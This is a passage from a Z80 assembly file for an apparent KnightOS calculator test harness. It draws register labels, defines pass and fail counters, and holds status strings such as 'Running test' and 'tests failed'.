ld a, ':'
pcall(drawChar)
ld de, 0x0a28
ld a, 'h'
pcall(drawChar)
ld a, 'l'
pcall(drawChar)
ld a, ':'
pcall(drawChar)
ld de, 0x3a28
ld a, 'i'
pcall(drawChar)
ld a, 'x'
pcall(drawChar)
ld a, ':'
pcall(drawChar)
pcall(fastCopy)
jr $
; variables
test_id:
.db -1
num_passed:
.db 0
num_failed:
.db 0
; constants
corelibPath:
.db "/lib/core", 0
running_test_str:
.db "Running test ", 0
tests_passed_str:
.db " tests passed", 0
tests_failed_str:
.db " tests failed", 0
failed_test_str:
.db "Failed test: ", 0
press_enter_str:
.db "Press Enter to continue...", 0
done_str:
.db "Done!", 0
#include "macros.inc"
#include "tests.asm"
| Willem3141/knighttest | main.asm | Assembly | mit | 4,469 |
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